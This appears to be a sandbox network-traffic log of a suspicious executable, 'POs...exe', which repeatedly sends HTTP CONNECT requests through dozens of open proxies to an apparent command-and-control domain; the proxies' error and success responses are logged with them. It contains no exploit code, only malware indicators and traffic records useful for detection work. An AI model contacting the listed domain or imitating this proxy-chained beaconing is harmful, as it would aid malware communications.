Mar 11, 2024 16:42:25.568768024 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.852653027 CET	113	IN	HTTP/1.1 503 Service Temporarily Unavailable Content-Type: text/html Connection: close Data Raw: 42 61 63 6b 65 6e 64 20 6e 6f 74 20 61 76 61 69 6c 61 62 6c 65 Data Ascii: Backend not available

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1397	192.168.2.11	52692	200.10.150.115	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.570997000 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.688854933 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.689078093 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.688786030 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:49.782288074 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:01.782234907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:13.875966072 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:16.647186995 CET	109	IN	HTTP/1.0 200 Connection Established Proxy-agent: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_jk/1.2.41

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1398	192.168.2.11	54489	45.12.31.140	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.575495005 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.729728937 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:25 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1399	192.168.2.11	54398	47.91.65.23	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.581677914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.311075926 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.250885963 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.344587088 CET	38	IN	HTTP/1.1 200 OK content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1400	192.168.2.11	54364	202.166.219.80	4153	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.583250999 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1401	192.168.2.11	54440	46.17.63.166	10000	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.643918991 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.938869953 CET	339	IN	HTTP/1.1 403 Forbidden Server: squid/4.7 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 15:42:25 GMT Content-Type: text/html;charset=utf-8 Content-Length: 5 X-Squid-Error: TCP_RESET 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from proxy.wakoopa.com Via: 1.1 proxy.wakoopa.com (squid/4.7) Connection: keep-alive Data Raw: 72 65 73 65 74 Data Ascii: reset

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1402	192.168.2.11	54505	192.154.246.96	9000	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.644398928 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1403	192.168.2.11	54455	163.172.147.89	16379	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.647798061 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.376312971 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.376564026 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.188921928 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.876328945 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:36.485640049 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:40.188673019 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:47.245542049 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:01.469706059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1404	192.168.2.11	54458	61.111.38.5	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.647805929 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.944601059 CET	507	IN	HTTP/1.1 502 Proxy Error Date: Mon, 11 Mar 2024 15:42:25 GMT Server: Apache Content-Length: 341 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 32 20 50 72 6f 78 79 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 50 72 6f 78 79 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 70 72 6f 78 79 20 73 65 72 76 65 72 20 72 65 63 65 69 76 65 64 20 61 6e 20 69 6e 76 61 6c 69 64 0d 0a 72 65 73 70 6f 6e 73 65 20 66 72 6f 6d 20 61 6e 20 75 70 73 74 72 65 61 6d 20 73 65 72 76 65 72 2e 3c 62 72 20 2f 3e 0d 0a 54 68 65 20 70 72 6f 78 79 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 3c 70 3e 52 65 61 73 6f 6e 3a 20 3c 73 74 72 6f 6e 67 3e 45 72 72 6f 72 20 72 65 61 64 69 6e 67 20 66 72 6f 6d 20 72 65 6d 6f 74 65 20 73 65 72 76 65 72 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 70 3e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>502 Proxy Error</title></head><body><h1>Proxy Error</h1><p>The proxy server received an invalidresponse from an upstream server.<br />The proxy server could not handle the request<p>Reason: <strong>Error reading from remote server</strong></p></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1405	192.168.2.11	54424	47.243.92.199	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.652736902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.962519884 CET	38	IN	HTTP/1.1 200 OK content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1406	192.168.2.11	52757	85.117.63.207	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.656122923 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.688875914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.752399921 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1407	192.168.2.11	49920	37.187.77.58	10710	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.656308889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.829099894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.938829899 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.939002991 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:49.985414982 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:13.985367060 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:01.985229969 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1408	192.168.2.11	53010	198.8.84.3	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.656308889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.829176903 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1409	192.168.2.11	53939	104.17.239.10	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.656452894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.810985088 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:25 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1410	192.168.2.11	53920	148.72.23.56	42312	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.660465002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.829224110 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.938878059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1411	192.168.2.11	49922	178.128.200.87	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.666948080 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.829224110 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.938878059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.939162016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:49.985425949 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:01.985347033 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:13.985388041 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:20.360091925 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 15:43:20 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 639 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@localhost to inform them of
Mar 11, 2024 16:43:20.360110044 CET	295	IN	Data Raw: 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 Data Ascii: the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at heygirlisheeverythingyo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
